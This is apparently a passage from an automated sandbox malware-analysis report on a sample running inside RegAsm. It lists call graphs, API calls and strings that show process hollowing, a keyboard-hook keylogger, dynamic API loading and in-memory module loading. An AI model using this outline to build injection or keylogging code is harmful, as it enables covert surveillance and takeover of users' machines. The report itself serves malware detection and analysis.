11 API calls 55744->55746 55747 401fd8 11 API calls 55745->55747 55748 413078 55746->55748 55749 4131c2 55747->55749 55750 401fd8 11 API calls 55748->55750 55751 401fd8 11 API calls 55749->55751 55752 413084 55750->55752 55753 4131ce 55751->55753 55754 401fd8 11 API calls 55752->55754 55755 401fd8 11 API calls 55753->55755 55756 413090 55754->55756 55757 4131da 55755->55757 55758 401fd8 11 API calls 55756->55758 55759 401fd8 11 API calls 55757->55759 55758->55736 55760 4131e6 55759->55760 55761 401fd8 11 API calls 55760->55761 55762 4131f2 55761->55762 55763 401fd8 11 API calls 55762->55763 55764 4131fe 55763->55764 55765 401fd8 11 API calls 55764->55765 55766 41320a 55765->55766 55767 401fd8 11 API calls 55766->55767 55768 413216 55767->55768 55769 401fd8 11 API calls 55768->55769 55770 412a83 55769->55770 55770->55623 55772 41323c 55771->55772 55781 41326b 55771->55781 55790 411cf2 55772->55790 55773 41327a 55774 40417e 28 API calls 55773->55774 55776 413286 55774->55776 55778 401fd8 11 API calls 55776->55778 55779 412f28 55778->55779 55779->55666 55781->55773 55786 10001c5b 55781->55786 55783->55709 55784->55717 55785->55704 55787 10001c6b ___scrt_fastfail 55786->55787 55794 100012ee 55787->55794 55789 10001c87 55789->55773 55836 411cfe 55790->55836 55793 411f67 22 API calls new 55793->55781 55795 10001324 ___scrt_fastfail 55794->55795 55796 100013b7 GetEnvironmentVariableW 55795->55796 55820 100010f1 55796->55820 55799 100010f1 51 API calls 55800 10001465 55799->55800 55801 100010f1 51 API calls 55800->55801 55802 10001479 55801->55802 55803 100010f1 51 API calls 55802->55803 55804 1000148d 55803->55804 55805 100010f1 51 API calls 55804->55805 55806 100014a1 55805->55806 55807 100010f1 51 API calls 55806->55807 55808 100014b5 lstrlenW 55807->55808 55809 100014d2 55808->55809 55810 100014d9 lstrlenW 55808->55810 55809->55789 55811 100010f1 51 API calls 55810->55811 55812 10001501 lstrlenW lstrcatW 55811->55812 55813 100010f1 51 API calls 55812->55813 55814 10001539 lstrlenW lstrcatW 55813->55814 55815 100010f1 51 API calls 55814->55815 55816 1000156b lstrlenW lstrcatW 55815->55816 55817 100010f1 51 API calls 55816->55817 55818 1000159d lstrlenW lstrcatW 55817->55818 55819 100010f1 51 API calls 55818->55819 55819->55809 55821 10001118 ___scrt_fastfail 55820->55821 55822 10001129 lstrlenW 55821->55822 55833 10002c40 55822->55833 55825 10001177 lstrlenW FindFirstFileW 55827 100011a0 55825->55827 55828 100011e1 55825->55828 55826 10001168 lstrlenW 55826->55825 55829 100011c7 FindNextFileW 55827->55829 55830 100011aa 55827->55830 55828->55799 55829->55827 55832 100011da FindClose 55829->55832 55830->55829 55835 10001000 51 API calls ___scrt_fastfail 55830->55835 55832->55828 55834 10001148 lstrcatW lstrlenW 55833->55834 55834->55825 55834->55826 55835->55830 55871 41179c 55836->55871 55838 411d1c 55839 411d32 SetLastError 55838->55839 55840 41179c SetLastError 55838->55840 55867 411cfa 55838->55867 55839->55867 55841 411d4f 55840->55841 55841->55839 55843 411d71 GetNativeSystemInfo 55841->55843 55841->55867 55844 411db7 55843->55844 55855 411dc4 SetLastError 55844->55855 55874 411ca3 VirtualAlloc 55844->55874 55847 411de7 55848 411e0c GetProcessHeap HeapAlloc 55847->55848 55900 411ca3 VirtualAlloc 55847->55900 55850 411e23 55848->55850 55851 411e35 55848->55851 55901 411cba VirtualFree 55850->55901 55854 41179c SetLastError 55851->55854 55852 411dff 55852->55848 55852->55855 55856 411e7e 55854->55856 55855->55867 55857 411f30 55856->55857 55875 411ca3 VirtualAlloc 55856->55875 55902 412077 GetProcessHeap HeapFree 55857->55902 55860 411e97 _Yarn 55876 4117af 55860->55876 55862 411ec3 55862->55857 55880 411b5f 55862->55880 55866 411efb 55866->55857 55866->55867 55896 1000220c 55866->55896 55867->55793 55868 411f21 55868->55867 55869 411f25 SetLastError 55868->55869 55869->55857 55872 4117a0 SetLastError 55871->55872 55873 4117ab 55871->55873 55872->55838 55873->55838 55874->55847 55875->55860 55877 411885 55876->55877 55879 4117db _Yarn ___scrt_get_show_window_mode 55876->55879 55877->55862 55878 41179c SetLastError 55878->55879 55879->55877 55879->55878 55881 411b80 IsBadReadPtr 55880->55881 55888 411c6a 55880->55888 55885 411b9a 55881->55885 55881->55888 55882 411c82 SetLastError 55882->55888 55884 440f0d 22 API calls 55884->55885 55885->55882 55885->55884 55886 411c6c SetLastError 55885->55886 55887 411c4f IsBadReadPtr 55885->55887 55885->55888 55886->55888 55887->55885 55887->55888 55888->55857 55890 41194f 55888->55890 55894 411975 55890->55894 55891 411a5e 55892 4118b2 VirtualProtect 55891->55892 55893 411a70 55892->55893 55893->55866 55894->55891 55894->55893 55903 4118b2 55894->55903 55897 10002215 55896->55897 55898 1000221a dllmain_dispatch 55896->55898 55907 100022b1 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___get_entropy 55897->55907 55898->55868 55900->55852 55901->55855 55902->55867 55904 4118c3 55903->55904 55906 4118bb 55903->55906 55905 411936 VirtualProtect 55904->55905 55904->55906 55905->55906 55906->55894 55907->55898 55908 10001f3f 55909 10001f4b ___scrt_is_nonwritable_in_current_image 55908->55909 55926 1000247c 55909->55926 55911 10001f52 55912 10002041 55911->55912 55913 10001f7c 55911->55913 55917 10001f57 ___scrt_is_nonwritable_in_current_image 55911->55917 55942 10002639 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 55912->55942 55937 100023de IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 55913->55937 55916 10002048 55918 10001f8b __RTC_Initialize 55918->55917 55938 100022fc RtlInitializeSListHead 55918->55938 55920 10001f99 ___scrt_initialize_default_local_stdio_options 55939 100046c5 5 API calls _ValidateLocalCookies 55920->55939 55922 10001fad 55922->55917 55940 100023b3 IsProcessorFeaturePresent ___isa_available_init ___scrt_release_startup_lock 55922->55940 55924 10001fb8 55924->55917 55941 10004669 5 API calls _ValidateLocalCookies 55924->55941 55927 10002485 55926->55927 55943 10002933 IsProcessorFeaturePresent 55927->55943 55929 10002491 55944 100034ea 55929->55944 55931 10002496 55932 1000249a 55931->55932 55953 100053c8 55931->55953 55932->55911 55935 100024b1 55935->55911 55937->55918 55938->55920 55939->55922 55940->55924 55941->55917 55942->55916 55943->55929 55945 100034ef ___vcrt_initialize_winapi_thunks 55944->55945 55957 10003936 6 API calls 2 library calls 55945->55957 55947 100034f9 55948 100034fd 55947->55948 55958 100038e8 55947->55958 55948->55931 55950 10003505 55951 10003510 55950->55951 55966 10003972 RtlDeleteCriticalSection 55950->55966 55951->55931 55985 10007457 55953->55985 55956 10003529 7 API calls 3 library calls 55956->55932 55957->55947 55967 10003af1 55958->55967 55962 1000390b 55963 10003918 55962->55963 55973 1000391b 5 API calls ___vcrt_FlsFree 55962->55973 55963->55950 55965 100038fd 55965->55950 55966->55948 55974 10003a82 55967->55974 55969 10003b0b 55970 10003b24 TlsAlloc 55969->55970 55971 100038f2 55969->55971 55971->55965 55972 10003ba2 5 API calls try_get_function 55971->55972 55972->55962 55973->55965 55975 10003aaa 55974->55975 55977 10003aa6 __crt_fast_encode_pointer 55974->55977 55975->55977 55978 100039be 55975->55978 55977->55969 55983 100039cd try_get_first_available_module 55978->55983 55979 100039ea LoadLibraryExW 55980 10003a05 GetLastError 55979->55980 55979->55983 55980->55983 55981 10003a60 FreeLibrary 55981->55983 55982 10003a77 55982->55977 55983->55979 55983->55981 55983->55982 55984 10003a38 LoadLibraryExW 55983->55984 55984->55983 55988 10007470 55985->55988 55986 10002ada _ValidateLocalCookies 5 API calls 55987 100024a3 55986->55987 55987->55935 55987->55956 55988->55986 55989 10005bff 55997 10005d5c 55989->55997 55992 10005c13 55994 10005c1b 55995 10005c28 55994->55995 56005 10005c2b 10 API calls 55994->56005 55998 10005c45 _abort 4 API calls 55997->55998 55999 10005d83 55998->55999 56000 10005d9b TlsAlloc 55999->56000 56001 10005d8c 55999->56001 56000->56001 56002 10002ada _ValidateLocalCookies 5 API calls 56001->56002 56003 10005c09 56002->56003 56003->55992 56004 10005b7a 19 API calls 2 library calls 56003->56004 56004->55994 56005->55992

                      Executed Functions

                      Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                      • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                      • LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                      • LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                      • LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                      • LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                      • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                      • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                      • LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                      • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                      • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                      • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                      • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                      • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                      • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC86
                      • LoadLibraryA.KERNEL32(kernel32), ref: 0041CC97
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC9A
                      • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCAA
                      • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCBA
                      • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCCC
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCCF
                      • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCDC
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCDF
                      • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCF3
                      • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD07
                      • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD19
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD1C
                      • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD29
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD2C
                      • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD39
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD3C
                      • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD49
                      • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD4C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$LibraryLoad$HandleModule
                      • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                      • API String ID: 4236061018-3687161714
                      • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                      • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                      • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                      • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                      Function 004180EF Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 289nativelibraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 448 4180ef-418118 449 41811c-418183 GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 448->449 450 418480 449->450 451 418189-418190 449->451 452 418482-41848c 450->452 451->450 453 418196-41819d 451->453 453->450 454 4181a3-4181a5 453->454 454->450 455 4181ab-4181d8 call 436e90 * 2 454->455 455->450 460 4181de-4181e9 455->460 460->450 461 4181ef-41821f CreateProcessW 460->461 462 418225-41824d VirtualAlloc GetThreadContext 461->462 463 41847a GetLastError 461->463 464 418253-418273 ReadProcessMemory 462->464 465 418444-418478 VirtualFree GetCurrentProcess NtUnmapViewOfSection NtClose TerminateProcess 462->465 463->450 464->465 466 418279-41829b NtCreateSection 464->466 465->450 466->465 467 4182a1-4182ae 466->467 468 4182c1-4182e3 NtMapViewOfSection 467->468 469 4182b0-4182bb NtUnmapViewOfSection 467->469 470 4182e5-418322 VirtualFree NtClose TerminateProcess 468->470 471 41832d-418354 GetCurrentProcess NtMapViewOfSection 468->471 469->468 470->449 472 418328 470->472 471->465 473 41835a-41835e 471->473 472->450 474 418360-418364 473->474 475 418367-418385 call 436910 473->475 474->475 478 4183c7-4183d0 475->478 479 418387-418395 475->479 480 4183f0-4183f4 478->480 481 4183d2-4183d8 478->481 482 418397-4183ba call 436910 479->482 484 4183f6-418413 WriteProcessMemory 480->484 485 418419-418430 SetThreadContext 480->485 481->480 483 4183da-4183ed call 418503 481->483 491 4183bc-4183c3 482->491 483->480 484->465 489 418415 484->489 485->465 490 418432-41843e ResumeThread 485->490 489->485 490->465 493 418440-418442 490->493 491->478 493->452
                      APIs
                      • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                      • GetProcAddress.KERNEL32(00000000), ref: 00418139
                      • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                      • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                      • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                      • GetProcAddress.KERNEL32(00000000), ref: 00418161
                      • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                      • GetProcAddress.KERNEL32(00000000), ref: 00418175
                      • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                      • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                      • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                      • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                      • NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000), ref: 00418293
                      • NtUnmapViewOfSection.NTDLL(?,?), ref: 004182BB
                      • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 004182DB
                      • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                      • NtClose.NTDLL(?), ref: 004182F7
                      • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                      • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                      • NtMapViewOfSection.NTDLL(?,00000000), ref: 0041834C
                      • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                      • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                      • ResumeThread.KERNEL32(?), ref: 00418435
                      • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                      • GetCurrentProcess.KERNEL32(?), ref: 00418457
                      • NtUnmapViewOfSection.NTDLL(00000000), ref: 0041845E
                      • NtClose.NTDLL(?), ref: 00418468
                      • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                      • GetLastError.KERNEL32 ref: 0041847A
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$Section$AddressHandleModuleProcView$ThreadVirtual$CloseContextCreateCurrentFreeMemoryTerminateUnmap$AllocErrorLastReadResumeWrite
                      • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                      • API String ID: 316982871-3035715614
                      • Opcode ID: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                      • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                      • Opcode Fuzzy Hash: 89e9824b65005418a7066967bf7851544621f3057e11158cf19ce55185e759a5
                      • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                      Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1666 40a2b8-40a2cf 1667 40a2d1-40a2eb GetModuleHandleA SetWindowsHookExA 1666->1667 1668 40a333-40a343 GetMessageA 1666->1668 1667->1668 1671 40a2ed-40a331 GetLastError call 41bb8e call 4052fd call 402093 call 41b4ef call 401fd8 1667->1671 1669 40a345-40a35d TranslateMessage DispatchMessageA 1668->1669 1670 40a35f 1668->1670 1669->1668 1669->1670 1672 40a361-40a366 1670->1672 1671->1672
                      APIs
                      • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                      • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                      • GetLastError.KERNEL32 ref: 0040A2ED
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • GetMessageA.USER32 ref: 0040A33B
                      • TranslateMessage.USER32(?), ref: 0040A34A
                      • DispatchMessageA.USER32 ref: 0040A355
                      Strings
                      • Keylogger initialization failure: error , xrefs: 0040A301
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                      • String ID: Keylogger initialization failure: error
                      • API String ID: 3219506041-952744263
                      • Opcode ID: 718f47324b8862b268baf47dc1492ba3640dfc9c03fb41c98a70d8505363c975
                      • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                      • Opcode Fuzzy Hash: 718f47324b8862b268baf47dc1492ba3640dfc9c03fb41c98a70d8505363c975
                      • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                      Function 100010F1 Relevance: 12.1, APIs: 8, Instructions: 88stringfileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1748 100010f1-10001166 call 10002c40 * 2 lstrlenW call 10002c40 lstrcatW lstrlenW 1755 10001177-1000119e lstrlenW FindFirstFileW 1748->1755 1756 10001168-10001172 lstrlenW 1748->1756 1757 100011a0-100011a8 1755->1757 1758 100011e1-100011e9 1755->1758 1756->1755 1759 100011c7-100011d8 FindNextFileW 1757->1759 1760 100011aa-100011c4 call 10001000 1757->1760 1759->1757 1762 100011da-100011db FindClose 1759->1762 1760->1759 1762->1758
                      APIs
                      • lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                      • lstrcatW.KERNEL32(?,?), ref: 10001151
                      • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                      • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                      • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                      • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 100011D0
                      • FindClose.KERNEL32(00000000), ref: 100011DB
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$Find$File$CloseFirstNextlstrcat
                      • String ID:
                      • API String ID: 1083526818-0
                      • Opcode ID: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                      • Instruction ID: 89aa6ca17049c9a574106098fd68ded4b08ae6dd255c3979a52dcbc6bb9ed716
                      • Opcode Fuzzy Hash: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                      • Instruction Fuzzy Hash: D22193715043586BE714EB649C49FDF7BDCEF84394F00092AFA58D3190E770D64487A6
                      Function 00411CFE Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2
                      • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
                      • GetNativeSystemInfo.KERNEL32(?), ref: 00411DA5
                      • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 00411DC9
                        • Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CB3
                      • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 00411E10
                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 00411E17
                      • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411F2A
                        • Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                        • Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                      • String ID:
                      • API String ID: 3950776272-0
                      • Opcode ID: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                      • Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
                      • Opcode Fuzzy Hash: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                      • Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9
                      Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00413549: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                        • Part of subcall function 00413549: RegQueryValueExA.KERNEL32 ref: 00413587
                        • Part of subcall function 00413549: RegCloseKey.KERNEL32(?), ref: 00413592
                      • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                      • ExitProcess.KERNEL32 ref: 0040F8CA
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseExitOpenProcessQuerySleepValue
                      • String ID: 5.1.0 Pro$override$pth_unenc
                      • API String ID: 2281282204-182549033
                      • Opcode ID: b93807ab3ce0d5bba4bd1ccb9a8b41d40f094000d2685bb717fd1cbe92334c8f
                      • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                      • Opcode Fuzzy Hash: b93807ab3ce0d5bba4bd1ccb9a8b41d40f094000d2685bb717fd1cbe92334c8f
                      • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                      Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                      Download Yara Rule
                      APIs
                      • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,004334BF,00000034,?,?,008CA6D0), ref: 00433849
                      • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000), ref: 0043385F
                      • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000,0041E251), ref: 00433871
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
